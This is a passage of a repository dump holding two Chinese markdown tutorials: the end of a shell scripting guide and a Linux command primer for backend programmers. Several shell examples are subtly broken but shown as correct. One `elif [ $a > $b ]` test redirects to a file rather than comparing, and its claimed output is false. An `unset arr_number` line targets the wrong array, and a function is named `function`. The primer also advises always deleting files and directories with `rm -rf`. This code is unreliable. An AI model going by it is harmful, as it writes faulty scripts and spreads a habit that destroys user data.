sh（sh代表Shell）（扩展名并不影响脚本执行，见名知意就好，如果你用 php 写 shell 脚本，扩展名就用 php 好了）\n\n(2) 使脚本具有执行权限：`chmod +x helloworld.sh`\n\n(3) 使用 vim 命令修改helloworld.sh文件：`vim helloworld.sh`(vim 文件------>进入文件----->命令模式------>按i进入编辑模式----->编辑文件 ------->按Esc进入底行模式----->输入:wq/q! （输入wq代表写入内容并退出，即保存；输入q!代表强制退出不保存。）)\n\nhelloworld.sh 内容如下：\n\n```shell\n#!/bin/bash\n#第一个shell小程序,echo 是linux中的输出命令。\necho  \"helloworld!\"\n```\n\nshell中 # 符号表示注释。**shell 的第一行比较特殊，一般都会以#!开始来指定使用的 shell 类型。在linux中，除了bash shell以外，还有很多版本的shell， 例如zsh、dash等等...不过bash shell还是我们使用最多的。**\n\n\n(4) 运行脚本:`./helloworld.sh` 。（注意，一定要写成 `./helloworld.sh` ，而不是 `helloworld.sh` ，运行其它二进制的程序也一样，直接写 `helloworld.sh` ，linux 系统会去 PATH 里寻找有没有叫 test.sh 的，而只有 /bin, /sbin, /usr/bin，/usr/sbin 等在 PATH 里，你的当前目录通常不在 PATH 里，所以写成 `helloworld.sh` 是会找不到命令的，要用`./helloworld.sh` 告诉系统说，就在当前目录找。）\n\n![shell 编程Hello World](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-16/55296212.jpg)\n\n\n## Shell 变量\n\n### Shell 编程中的变量介绍\n\n\n**Shell编程中一般分为三种变量：**\n\n1. **我们自己定义的变量（自定义变量）:** 仅在当前 Shell 实例中有效，其他 Shell 启动的程序不能访问局部变量。\n2. **Linux已定义的环境变量**（环境变量， 例如：$PATH, $HOME 等..., 这类变量我们可以直接使用），使用 `env` 命令可以查看所有的环境变量，而set命令既可以查看环境变量也可以查看自定义变量。\n3. **Shell变量** ：Shell变量是由 Shell 程序设置的特殊变量。Shell 变量中有一部分是环境变量，有一部分是局部变量，这些变量保证了 Shell 的正常运行\n\n**常用的环境变量:**\n> PATH 决定了shell将到哪些目录中寻找命令或程序 \nHOME 当前用户主目录 \nHISTSIZE　历史记录数 \nLOGNAME 当前用户的登录名 \nHOSTNAME　指主机的名称 \nSHELL 当前用户Shell类型 \nLANGUGE 　语言相关的环境变量，多语言可以修改此环境变量 \nMAIL　当前用户的邮件存放目录 \nPS1　基本提示符，对于root用户是#，对于普通用户是$\n\n**使用 Linux 已定义的环境变量：**\n\n比如我们要看当前用户目录可以使用：`echo $HOME`命令；如果我们要看当前用户Shell类型 可以使用`echo $SHELL`命令。可以看出，使用方法非常简单。\n\n**使用自己定义的变量：**\n\n```shell\n#!/bin/bash\n#自定义变量hello\nhello=\"hello world\"\necho $hello\necho  \"helloworld!\"\n```\n![使用自己定义的变量](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-17/19835037.jpg)\n\n\n**Shell 编程中的变量名的命名的注意事项：**\n\n\n- 命名只能使用英文字母，数字和下划线，首个字符不能以数字开头，但是可以使用下划线（_）开头。\n- 中间不能有空格，可以使用下划线（_）。\n- 不能使用标点符号。\n- 不能使用bash里的关键字（可用help命令查看保留关键字）。\n\n\n### Shell 字符串入门\n\n字符串是shell编程中最常用最有用的数据类型（除了数字和字符串，也没啥其它类型好用了），字符串可以用单引号，也可以用双引号。这点和Java中有所不同。\n\n**单引号字符串：**\n\n```shell\n#!/bin/bash\nname='SnailClimb'\nhello='Hello, I  am '$name'!'\necho $hello\n```\n输出内容：\n\n```\nHello, I am SnailClimb!\n```\n\n**双引号字符串：**\n\n```shell\n#!/bin/bash\nname='SnailClimb'\nhello=\"Hello, I  am \"$name\"!\"\necho $hello\n```\n\n输出内容：\n\n```\nHello, I am SnailClimb!\n```\n\n\n### Shell 字符串常见操作\n\n**拼接字符串：**\n\n```shell\n#!/bin/bash\nname=\"SnailClimb\"\n# 使用双引号拼接\ngreeting=\"hello, \"$name\" !\"\ngreeting_1=\"hello, ${name} !\"\necho $greeting  $greeting_1\n# 使用单引号拼接\ngreeting_2='hello, '$name' !'\ngreeting_3='hello, ${name} !'\necho $greeting_2  $greeting_3\n```\n\n输出结果：\n\n![输出结果](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-17/51148933.jpg)\n\n\n**获取字符串长度：**\n\n```shell\n#!/bin/bash\n#获取字符串长度\nname=\"SnailClimb\"\n# 第一种方式\necho ${#name} #输出 10\n# 第二种方式\nexpr length \"$name\";\n```\n\n输出结果:\n```\n10\n10\n```\n\n使用 expr 命令时，表达式中的运算符左右必须包含空格，如果不包含空格，将会输出表达式本身:\n\n```shell\nexpr 5+6    // 直接输出 5+6\nexpr 5 + 6       // 输出 11\n```\n对于某些运算符，还需要我们使用符号`\\`进行转义，否则就会提示语法错误。\n\n```shell\nexpr 5 * 6       // 输出错误\nexpr 5 \\* 6      // 输出30\n```\n\n**截取子字符串:**\n\n简单的字符串截取：\n\n\n```shell\n#从字符串第 1 个字符开始往后截取 10 个字符\nstr=\"SnailClimb is a great man\"\necho ${str:0:10} #输出:SnailClimb\n```\n\n根据表达式截取：\n\n```shell\n#!bin/bash\n#author:amau\n\nvar=\"http://www.runoob.com/linux/linux-shell-variable.html\"\n\ns1=${var%%t*}#h\ns2=${var%t*}#http://www.runoob.com/linux/linux-shell-variable.h\ns3=${var%%.*}#http://www\ns4=${var#*/}#/www.runoob.com/linux/linux-shell-variable.html\ns5=${var##*/}#linux-shell-variable.html\n```\n\n### Shell 数组\n\nbash支持一维数组（不支持多维数组），并且没有限定数组的大小。我下面给了大家一个关于数组操作的 Shell 代码示例，通过该示例大家可以知道如何创建数组、获取数组长度、获取/删除特定位置的数组元素、删除整个数组以及遍历数组。\n\n\n```shell\n#!/bin/bash\narray=(1 2 3 4 5);\n# 获取数组长度\nlength=${#array[@]}\n# 或者\nlength2=${#array[*]}\n#输出数组长度\necho $length #输出：5\necho $length2 #输出：5\n# 输出数组第三个元素\necho ${array[2]} #输出：3\nunset array[1]# 删除下表为1的元素也就是删除第二个元素\nfor i in ${array[@]};do echo $i ;done # 遍历数组，输出： 1 3 4 5 \nunset arr_number; # 删除数组中的所有元素\nfor i in ${array[@]};do echo $i ;done # 遍历数组，数组元素为空，没有任何输出内容\n```\n\n\n## Shell 基本运算符\n\n> 说明：图片来自《菜鸟教程》\n\n Shell 编程支持下面几种运算符\n \n- 算数运算符\n- 关系运算符\n- 布尔运算符\n- 字符串运算符\n- 文件测试运算符\n\n### 算数运算符\n\n![算数运算符](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-22/4937342.jpg)\n\n我以加法运算符做一个简单的示例：\n\n```shell\n#!/bin/bash\na=3;b=3;\nval=`expr $a + $b`\n#输出：Total value : 6\necho \"Total value : $val\n```\n\n\n### 关系运算符\n\n关系运算符只支持数字，不支持字符串，除非字符串的值是数字。\n\n![shell关系运算符](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-22/64391380.jpg)\n\n通过一个简单的示例演示关系运算符的使用，下面shell程序的作用是当score=100的时候输出A否则输出B。\n\n```shell\n#!/bin/bash\nscore=90;\nmaxscore=100;\nif [ $score -eq $maxscore ]\nthen\n   echo \"A\"\nelse\n   echo \"B\"\nfi\n```\n\n输出结果：\n\n```\nB\n```\n\n### 逻辑运算符\n\n![逻辑运算符](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-22/60545848.jpg)\n\n示例：\n\n```shell\n#!/bin/bash\na=$(( 1 && 0))\n# 输出：0；逻辑与运算只有相与的两边都是1，与的结果才是1；否则与的结果是0\necho $a;\n```\n\n### 布尔运算符\n\n\n![布尔运算符](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-22/93961425.jpg)\n\n这里就不做演示了，应该挺简单的。\n\n### 字符串运算符\n\n![ 字符串运算符](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-22/309094.jpg)\n\n简单示例：\n\n```shell\n\n#!/bin/bash\na=\"abc\";\nb=\"efg\";\nif [ $a = $b ]\nthen\n   echo \"a 等于 b\"\nelse\n   echo \"a 不等于 b\"\nfi\n```\n输出：\n\n```\na 不等于 b\n```\n\n### 文件相关运算符\n\n![文件相关运算符](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-22/60359774.jpg)\n\n使用方式很简单，比如我们定义好了一个文件路径`file=\"/usr/learnshell/test.sh\"` 如果我们想判断这个文件是否可读，可以这样`if [ -r $file ]` 如果想判断这个文件是否可写，可以这样`-w $file`，是不是很简单。\n\n## shell流程控制\n\n### if 条件语句\n\n简单的 if else-if else 的条件语句示例\n\n```shell\n#!/bin/bash\na=3;\nb=9;\nif [ $a = $b ]\nthen\n   echo \"a 等于 b\"\nelif [ $a > $b ]\nthen\n   echo \"a 大于 b\"\nelse\n   echo \"a 小于 b\"\nfi\n```\n\n输出结果：\n\n```\na 大于 b\n```\n\n相信大家通过上面的示例就已经掌握了 shell 编程中的 if 条件语句。不过，还要提到的一点是，不同于我们常见的 Java 以及 PHP 中的 if 条件语句，shell  if 条件语句中不能包含空语句也就是什么都不做的语句。\n\n### for 循环语句\n\n通过下面三个简单的示例认识 for 循环语句最基本的使用，实际上 for 循环语句的功能比下面你看到的示例展现的要大得多。\n\n**输出当前列表中的数据：**\n\n```shell\nfor loop in 1 2 3 4 5\ndo\n    echo \"The value is: $loop\"\ndone\n```\n\n**产生 10 个随机数：**\n\n```shell\n#!/bin/bash\nfor i in {0..9};\ndo \n   echo $RANDOM;\ndone\n```\n\n**输出1到5:**\n\n通常情况下 shell 变量调用需要加 $,但是 for 的 (()) 中不需要,下面来看一个例子：\n\n```shell\n#!/bin/bash\nfor((i=1;i<=5;i++));do\n    echo $i;\ndone;\n```\n\n\n### while 语句\n\n**基本的 while 循环语句：**\n\n```shell\n#!/bin/bash\nint=1\nwhile(( $int<=5 ))\ndo\n    echo $int\n    let \"int++\"\ndone\n```\n\n**while循环可用于读取键盘信息：**\n\n```shell\necho '按下 <CTRL-D> 退出'\necho -n '输入你最喜欢的电影: '\nwhile read FILM\ndo\n    echo \"是的！$FILM 是一个好电影\"\ndone\n```\n\n输出内容:\n\n```\n按下 <CTRL-D> 退出\n输入你最喜欢的电影: 变形金刚\n是的！变形金刚 是一个好电影\n```\n\n**无线循环：**\n\n```shell\nwhile true\ndo\n    command\ndone\n```\n\n## shell 函数\n\n### 不带参数没有返回值的函数\n\n```shell\n#!/bin/bash\nfunction(){\n    echo \"这是我的第一个 shell 函数!\"\n}\nfunction\n```\n\n输出结果：\n\n```\n这是我的第一个 shell 函数!\n```\n\n\n### 有返回值的函数\n\n**输入两个数字之后相加并返回结果：**\n\n```shell\n#!/bin/bash\nfunWithReturn(){\n    echo \"输入第一个数字: \"\n    read aNum\n    echo \"输入第二个数字: \"\n    read anotherNum\n    echo \"两个数字分别为 $aNum 和 $anotherNum !\"\n    return $(($aNum+$anotherNum))\n}\nfunWithReturn\necho \"输入的两个数字之和为 $?\"\n```\n\n输出结果：\n\n```\n输入第一个数字: \n1\n输入第二个数字: \n2\n两个数字分别为 1 和 2 !\n输入的两个数字之和为 3\n```\n\n### 带参数的函数\n\n\n\n```shell\n#!/bin/bash\nfunWithParam(){\n    echo \"第一个参数为 $1 !\"\n    echo \"第二个参数为 $2 !\"\n    echo \"第十个参数为 $10 !\"\n    echo \"第十个参数为 ${10} !\"\n    echo \"第十一个参数为 ${11} !\"\n    echo \"参数总数有 $# 个!\"\n    echo \"作为一个字符串输出所有参数 $* !\"\n}\nfunWithParam 1 2 3 4 5 6 7 8 9 34 73\n\n```\n\n输出结果：\n\n```\n第一个参数为 1 !\n第二个参数为 2 !\n第十个参数为 10 !\n第十个参数为 34 !\n第十一个参数为 73 !\n参数总数有 11 个!\n作为一个字符串输出所有参数 1 2 3 4 5 6 7 8 9 34 73 !\n\n```\n"
  },
  {
    "path": "docs/operating-system/后端程序员必备的Linux基础知识.md",
    "content": "<!-- MarkdownTOC -->\n\n- [一 从认识操作系统开始](#一-从认识操作系统开始)\n  - [1.1 操作系统简介](#11-操作系统简介)\n  - [1.2 操作系统简单分类](#12-操作系统简单分类)\n- [二 初探Linux](#二-初探linux)\n  - [2.1 Linux简介](#21-linux简介)\n  - [2.2 Linux诞生简介](#22-linux诞生简介)\n  - [2.3 Linux的分类](#23-linux的分类)\n- [三 Linux文件系统概览](#三-linux文件系统概览)\n  - [3.1 Linux文件系统简介](#31-linux文件系统简介)\n  - [3.2 文件类型与目录结构](#32-文件类型与目录结构)\n- [四 Linux基本命令](#四-linux基本命令)\n  - [4.1 目录切换命令](#41-目录切换命令)\n  - [4.2 目录的操作命令（增删改查）](#42-目录的操作命令增删改查)\n  - [4.3 文件的操作命令（增删改查）](#43-文件的操作命令增删改查)\n  - [4.4 压缩文件的操作命令](#44-压缩文件的操作命令)\n  - [4.5 Linux的权限命令](#45-linux的权限命令)\n  - [4.6 Linux 用户管理](#46-linux-用户管理)\n  - [4.7 Linux系统用户组的管理](#47-linux系统用户组的管理)\n  - [4.8 其他常用命令](#48-其他常用命令)\n\n<!-- /MarkdownTOC -->\n\n> 学习Linux之前，我们先来简单的认识一下操作系统。\n\n## 一 从认识操作系统开始\n### 1.1 操作系统简介\n\n我通过以下四点介绍什么操作系统：\n\n- **操作系统（Operation System，简称OS）是管理计算机硬件与软件资源的程序，是计算机系统的内核与基石；**\n- **操作系统本质上是运行在计算机上的软件程序 ；**\n- **为用户提供一个与系统交互的操作界面 ；**\n- **操作系统分内核与外壳（我们可以把外壳理解成围绕着内核的应用程序，而内核就是能操作硬件的程序）。**\n\n![操作系统分内核与外壳](https://user-gold-cdn.xitu.io/2018/7/3/1645ee3dc5cf626e?w=862&h=637&f=png&s=23899)\n### 1.2 操作系统简单分类\n\n1. **Windows:** 目前最流行的个人桌面操作系统 ，不做多的介绍，大家都清楚。\n2. **Unix：** 最早的多用户、多任务操作系统 .按照操作系统的分类，属于分时操作系统。Unix 大多被用在服务器、工作站，现在也有用在个人计算机上。它在创建互联网、计算机网络或客户端/服务器模型方面发挥着非常重要的作用。\n![Unix](https://user-gold-cdn.xitu.io/2018/7/3/1645ee83f036846d?w=1075&h=475&f=png&s=914462)\n3. **Linux:** Linux是一套免费使用和自由传播的类Unix操作系统.Linux存在着许多不同的Linux版本，但它们都使用了 **Linux内核** 。Linux可安装在各种计算机硬件设备中，比如手机、平板电脑、路由器、视频游戏控制台、台式计算机、大型机和超级计算机。严格来讲，Linux这个词本身只表示Linux内核，但实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU 工程各种工具和数据库的操作系统。\n\n![Linux](https://user-gold-cdn.xitu.io/2018/7/3/1645eeb8e843f29d?w=426&h=240&f=png&s=32650)\n\n\n## 二 初探Linux\n\n### 2.1 Linux简介\n\n我们上面已经介绍到了Linux，我们这里只强调三点。\n- **类Unix系统：** Linux是一种自由、开放源码的类似Unix的操作系统 \n- **Linux内核：** 严格来说，Linux这个词本身只表示Linux内核 \n- **Linux之父：** 一个编程领域的传奇式人物。他是Linux内核的最早作者，随后发起了这个开源项目，担任Linux内核的首要架构师与项目协调者，是当今世界最著名的电脑程序员、黑客之一。他还发起了Git这个开源项目，并为主要的开发者。\n\n![Linux](https://user-gold-cdn.xitu.io/2018/7/3/1645ef0a5a4f137f?w=270&h=376&f=png&s=193487)\n\n### 2.2 Linux诞生简介\n\n- 1991年，芬兰的业余计算机爱好者Linus Torvalds编写了一款类似Minix的系统（基于微内核架构的类Unix操作系统）被ftp管理员命名为Linux 加入到自由软件基金的GNU计划中; \n- Linux以一只可爱的企鹅作为标志，象征着敢作敢为、热爱生活。 \n\n\n### 2.3 Linux的分类\n\n**Linux根据原生程度，分为两种：**\n\n1. **内核版本：** Linux不是一个操作系统，严格来讲，Linux只是一个操作系统中的内核。内核是什么？内核建立了计算机软件与硬件之间通讯的平台，内核提供系统服务，比如文件管理、虚拟内存、设备I/O等；\n2. **发行版本：** 一些组织或公司在内核版基础上进行二次开发而重新发行的版本。Linux发行版本有很多种（ubuntu和CentOS用的都很多，初学建议选择CentOS），如下图所示：\n![Linux发行版本](https://user-gold-cdn.xitu.io/2018/7/3/1645efa7048fd018?w=548&h=274&f=png&s=99213)\n\n\n## 三 Linux文件系统概览\n\n### 3.1 Linux文件系统简介\n\n**在Linux操作系统中，所有被操作系统管理的资源，例如网络接口卡、磁盘驱动器、打印机、输入输出设备、普通文件或是目录都被看作是一个文件。**\n\n也就是说在LINUX系统中有一个重要的概念：**一切都是文件**。其实这是UNIX哲学的一个体现，而Linux是重写UNIX而来，所以这个概念也就传承了下来。在UNIX系统中，把一切资源都看作是文件，包括硬件设备。UNIX系统把每个硬件都看成是一个文件，通常称为设备文件，这样用户就可以用读写文件的方式实现对硬件的访问。\n\n\n### 3.2 文件类型与目录结构\n\n**Linux支持5种文件类型 ：**\n![文件类型](https://user-gold-cdn.xitu.io/2018/7/3/1645f1a7d64def1a?w=901&h=547&f=png&s=72692)\n\n**Linux的目录结构如下：**\n\nLinux文件系统的结构层次鲜明，就像一棵倒立的树，最顶层是其根目录：\n![Linux的目录结构](https://user-gold-cdn.xitu.io/2018/7/3/1645f1c65676caf6?w=823&h=315&f=png&s=15226)\n\n**常见目录说明：**\n\n- **/bin：** 存放二进制可执行文件(ls,cat,mkdir等)，常用命令一般都在这里；\n- **/etc：**  存放系统管理和配置文件；\n- **/home：**  存放所有用户文件的根目录，是用户主目录的基点，比如用户user的主目录就是/home/user，可以用~user表示；\n- **/usr ：** 用于存放系统应用程序；\n- **/opt：** 额外安装的可选应用程序包所放置的位置。一般情况下，我们可以把tomcat等都安装到这里；\n- **/proc：**  虚拟文件系统目录，是系统内存的映射。可直接访问这个目录来获取系统信息；\n- **/root：**  超级用户（系统管理员）的主目录（特权阶级^o^）；\n- **/sbin:**  存放二进制可执行文件，只有root才能访问。这里存放的是系统管理员使用的系统级别的管理命令和程序。如ifconfig等；\n- **/dev：** 用于存放设备文件；\n- **/mnt：** 系统管理员安装临时文件系统的安装点，系统提供这个目录是让用户临时挂载其他的文件系统；\n- **/boot：**  存放用于系统引导时使用的各种文件；\n- **/lib ：**      存放着和系统运行相关的库文件 ；\n- **/tmp：** 用于存放各种临时文件，是公用的临时文件存储点；\n- **/var：** 用于存放运行时需要改变数据的文件，也是某些大文件的溢出区，比方说各种服务的日志文件（系统启动日志等。）等；\n- **/lost+found：**  这个目录平时是空的，系统非正常关机而留下“无家可归”的文件（windows下叫什么.chk）就在这里。\n\n\n## 四 Linux基本命令\n\n下面只是给出了一些比较常用的命令。推荐一个Linux命令快查网站，非常不错，大家如果遗忘某些命令或者对某些命令不理解都可以在这里得到解决。\n\nLinux命令大全：[http://man.linuxde.net/](http://man.linuxde.net/)\n### 4.1 目录切换命令\n\n- **`cd usr`：**   切换到该目录下usr目录  \n- **`cd ..（或cd../）`：**  切换到上一层目录 \n- **`cd /`：**   切换到系统根目录  \n- **`cd ~`：**   切换到用户主目录 \n- **`cd -`：**   切换到上一个操作所在目录\n\n### 4.2 目录的操作命令(增删改查)\n\n1. **`mkdir 目录名称`：** 增加目录\n2. **`ls或者ll`**（ll是ls -l的别名，ll命令可以看到该目录下的所有目录和文件的详细信息）：查看目录信息\n3. **`find 目录 参数`：** 寻找目录（查）\n\n    示例：\n    \n    - 列出当前目录及子目录下所有文件和文件夹: `find .`\n    - 在`/home`目录下查找以.txt结尾的文件名:`find /home -name \"*.txt\"`\n    - 同上，但忽略大小写: `find /home -iname \"*.txt\"`\n    - 当前目录及子目录下查找所有以.txt和.pdf结尾的文件:`find . \\( -name \"*.txt\" -o -name \"*.pdf\" \\)`或`find . -name \"*.txt\" -o -name \"*.pdf\" `\n    \n4. **`mv 目录名称 新目录名称`：** 修改目录的名称（改）\n\n   注意：mv的语法不仅可以对目录进行重命名而且也可以对各种文件，压缩包等进行  重命名的操作。mv命令用来对文件或目录重新命名，或者将文件从一个目录移到另一个目录中。后面会介绍到mv命令的另一个用法。\n5. **`mv 目录名称 目录的新位置`：**  移动目录的位置---剪切（改）\n  \n    注意：mv语法不仅可以对目录进行剪切操作，对文件和压缩包等都可执行剪切操作。另外mv与cp的结果不同，mv好像文件“搬家”，文件个数并未增加。而cp对文件进行复制，文件个数增加了。\n6. **`cp -r 目录名称 目录拷贝的目标位置`：** 拷贝目录（改），-r代表递归拷贝 \n   \n    注意：cp命令不仅可以拷贝目录还可以拷贝文件，压缩包等，拷贝文件和压缩包时不  用写-r递归\n7. **`rm [-rf] 目录`:** 删除目录（删）\n   \n    注意：rm不仅可以删除目录，也可以删除其他文件或压缩包，为了增强大家的记忆，  无论删除任何目录或文件，都直接使用`rm -rf` 目录/文件/压缩包\n\n\n### 4.3 文件的操作命令(增删改查)\n\n1. **`touch 文件名称`:**  文件的创建（增）\n2. **`cat/more/less/tail 文件名称`** 文件的查看（查）\n    - **`cat`：** 查看显示文件内容\n    - **`more`：** 可以显示百分比，回车可以向下一行， 空格可以向下一页，q可以退出查看\n    - **`less`：** 可以使用键盘上的PgUp和PgDn向上 和向下翻页，q结束查看\n    - **`tail-10` ：** 查看文件的后10行，Ctrl+C结束\n    \n   注意：命令 tail -f 文件 可以对某个文件进行动态监控，例如tomcat的日志文件，  会随着程序的运行，日志会变化，可以使用tail -f catalina-2016-11-11.log 监控 文 件的变化 \n3. **`vim 文件`：**  修改文件的内容（改）\n \n   vim编辑器是Linux中的强大组件，是vi编辑器的加强版，vim编辑器的命令和快捷方式有很多，但此处不一一阐述，大家也无需研究的很透彻，使用vim编辑修改文件的方式基本会使用就可以了。\n\n   **在实际开发中，使用vim编辑器主要作用就是修改配置文件，下面是一般步骤：**\n   \n    vim 文件------>进入文件----->命令模式------>按i进入编辑模式----->编辑文件  ------->按Esc进入底行模式----->输入:wq/q! （输入wq代表写入内容并退出，即保存；输入q!代表强制退出不保存。）\n4. **`rm -rf 文件`：** 删除文件（删）\n\n    同目录删除：熟记 `rm -rf` 文件 即可\n    \n### 4.4 压缩文件的操作命令\n\n**1）打包并压缩文件：**\n\nLinux中的打包文件一般是以.tar结尾的，压缩的命令一般是以.gz结尾的。\n\n而一般情况下打包和压缩是一起进行的，打包并压缩后的文件的后缀名一般.tar.gz。\n命令：**`tar -zcvf 打包压缩后的文件名 要打包压缩的文件`**\n其中：\n\n  z：调用gzip压缩命令进行压缩\n  \n  c：打包文件\n  \n  v：显示运行过程\n  \n  f：指定文件名\n\n比如：加入test目录下有三个文件分别是 :aaa.txt bbb.txt ccc.txt,如果我们要打包test目录并指定压缩后的压缩包名称为test.tar.gz可以使用命令：**`tar -zcvf test.tar.gz aaa.txt bbb.txt ccc.txt`或：`tar -zcvf test.tar.gz       /test/`**\n\n\n**2）解压压缩包：**\n\n命令：tar [-xvf] 压缩文件\n\n其中：x：代表解压\n\n示例：\n\n1 将/test下的test.tar.gz解压到当前目录下可以使用命令：**`tar -xvf test.tar.gz`**\n\n2 将/test下的test.tar.gz解压到根目录/usr下:**`tar -xvf xxx.tar.gz -C /usr`**（- C代表指定解压的位置）\n\n\n### 4.5 Linux的权限命令\n\n 操作系统中每个文件都拥有特定的权限、所属用户和所属组。权限是操作系统用来限制资源访问的机制，在Linux中权限一般分为读(readable)、写(writable)和执行(excutable)，分为三组。分别对应文件的属主(owner)，属组(group)和其他用户(other)，通过这样的机制来限制哪些用户、哪些组可以对特定的文件进行什么样的操作。通过 **`ls -l`** 命令我们可以  查看某个目录下的文件或目录的权限\n\n示例：在随意某个目录下`ls -l`\n\n![](https://user-gold-cdn.xitu.io/2018/7/5/1646955be781daaa?w=589&h=228&f=png&s=16360)\n\n第一列的内容的信息解释如下：\n\n![](https://user-gold-cdn.xitu.io/2018/7/5/16469565b6951791?w=489&h=209&f=png&s=39791)\n\n> 下面将详细讲解文件的类型、Linux中权限以及文件有所有者、所在组、其它组具体是什么？\n\n\n**文件的类型：**\n\n- d： 代表目录\n- -： 代表文件\n- l： 代表软链接（可以认为是window中的快捷方式）\n\n\n**Linux中权限分为以下几种：**\n\n- r：代表权限是可读，r也可以用数字4表示\n- w：代表权限是可写，w也可以用数字2表示\n- x：代表权限是可执行，x也可以用数字1表示\n\n**文件和目录权限的区别：**\n\n 对文件和目录而言，读写执行表示不同的意义。\n \n 对于文件：\n\n| 权限名称      |   可执行操作  | \n| :-------- | --------:|\n|  r | 可以使用cat查看文件的内容 |  \n|w  |   可以修改文件的内容 | \n| x     |    可以将其运行为二进制文件 |\n\n 对于目录：\n\n| 权限名称      |   可执行操作  | \n| :-------- | --------:|\n|  r | 可以查看目录下列表 |  \n|w  |   可以创建和删除目录下文件 | \n| x     |    可以使用cd进入目录 |\n\n\n**需要注意的是超级用户可以无视普通用户的权限，即使文件目录权限是000，依旧可以访问。**\n**在linux中的每个用户必须属于一个组，不能独立于组外。在linux中每个文件有所有者、所在组、其它组的概念。**\n\n- **所有者**\n\n  一般为文件的创建者，谁创建了该文件，就天然的成为该文件的所有者，用ls ‐ahl命令可以看到文件的所有者 也可以使用chown 用户名  文件名来修改文件的所有者 。\n- **文件所在组**\n \n  当某个用户创建了一个文件后，这个文件的所在组就是该用户所在的组 用ls ‐ahl命令可以看到文件的所有组 也可以使用chgrp  组名  文件名来修改文件所在的组。 \n- **其它组**\n\n  除开文件的所有者和所在组的用户外，系统的其它用户都是文件的其它组 \n\n> 我们再来看看如何修改文件/目录的权限。\n\n**修改文件/目录的权限的命令：`chmod`**\n\n示例：修改/test下的aaa.txt的权限为属主有全部权限，属主所在的组有读写权限，\n其他用户只有读的权限\n\n**`chmod u=rwx,g=rw,o=r aaa.txt`**\n\n![](https://user-gold-cdn.xitu.io/2018/7/5/164697447dc6ecac?w=525&h=246&f=png&s=12362)\n\n上述示例还可以使用数字表示：\n\nchmod 764 aaa.txt\n\n\n**补充一个比较常用的东西:**\n\n假如我们装了一个zookeeper，我们每次开机到要求其自动启动该怎么办？\n\n1. 新建一个脚本zookeeper\n2. 为新建的脚本zookeeper添加可执行权限，命令是:`chmod +x zookeeper`\n3. 把zookeeper这个脚本添加到开机启动项里面，命令是：` chkconfig --add  zookeeper`\n4. 如果想看看是否添加成功，命令是：`chkconfig --list`\n\n\n### 4.6 Linux 用户管理\n\nLinux系统是一个多用户多任务的分时操作系统，任何一个要使用系统资源的用户，都必须首先向系统管理员申请一个账号，然后以这个账号的身份进入系统。\n\n用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪，并控制他们对系统资源的访问；另一方面也可以帮助用户组织文件，并为用户提供安全性保护。\n\n**Linux用户管理相关命令:**\n- `useradd 选项 用户名`:添加用户账号\n- `userdel 选项 用户名`:删除用户帐号\n- `usermod 选项 用户名`:修改帐号\n- `passwd 用户名`:更改或创建用户的密码\n- `passwd -S 用户名` :显示用户账号密码信息\n- `passwd -d 用户名`:  清除用户密码\n\nuseradd命令用于Linux中创建的新的系统用户。useradd可用来建立用户帐号。帐号建好之后，再用passwd设定帐号的密码．而可用userdel删除帐号。使用useradd指令所建立的帐号，实际上是保存在/etc/passwd文本文件中。\n\npasswd命令用于设置用户的认证信息，包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称，一般用户只能变更自己的密码。\n\n\n### 4.7 Linux系统用户组的管理\n\n每个用户都有一个用户组，系统可以对一个用户组中的所有用户进行集中管理。不同Linux 系统对用户组的规定有所不同，如Linux下的用户属于与它同名的用户组，这个用户组在创建用户时同时创建。\n\n用户组的管理涉及用户组的添加、删除和修改。组的增加、删除和修改实际上就是对/etc/group文件的更新。\n\n**Linux系统用户组的管理相关命令:**\n- `groupadd 选项 用户组` :增加一个新的用户组\n- `groupdel 用户组`:要删除一个已有的用户组\n- `groupmod 选项 用户组` : 修改用户组的属性\n\n\n### 4.8 其他常用命令\n\n- **`pwd`：** 显示当前所在位置\n- **`grep 要搜索的字符串 要搜索的文件 --color`：** 搜索命令，--color代表高亮显示\n- **`ps -ef`/`ps -aux`：** 这两个命令都是查看当前系统正在运行进程，两者的区别是展示格式不同。如果想要查看特定的进程可以使用这样的格式：**`ps aux|grep redis`** （查看包括redis字符串的进程），也可使用 `pgrep redis -a`。\n\n  注意：如果直接用ps（（Process Status））命令，会显示所有进程的状态，通常结合grep命令查看某进程的状态。\n- **`kill -9 进程的pid`：** 杀死进程（-9 表示强制终止。）\n\n  先用ps查找进程，然后用kill杀掉\n- **网络通信命令：**\n    - 查看当前系统的网卡信息：ifconfig\n    - 查看与某台机器的连接情况：ping \n    - 查看当前系统的端口使用：netstat -an\n-  **net-tools 和 iproute2 ：**\n    `net-tools`起源于BSD的TCP/IP工具箱，后来成为老版本Linux内核中配置网络功能的工具。但自2001年起，Linux社区已经对其停止维护。同时，一些Linux发行版比如Arch Linux和CentOS/RHEL 7则已经完全抛弃了net-tools，只支持`iproute2`。linux ip命令类似于ifconfig，但功能更强大，旨在替代它。更多详情请阅读[如何在Linux中使用IP命令和示例](https://linoxide.com/linux-command/use-ip-command-linux)\n- **`shutdown`：**  `shutdown -h now`： 指定现在立即关机；`shutdown +5 \"System will shutdown after 5 minutes\"`:指定5分钟后关机，同时送出警告信息给登入用户。\n- **`reboot`：**  **`reboot`：**  重开机。**`reboot -w`：** 做个重开机的模拟（只有纪录并不会真的重开机）。\n \n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/system-design/data-communication/dubbo.md",
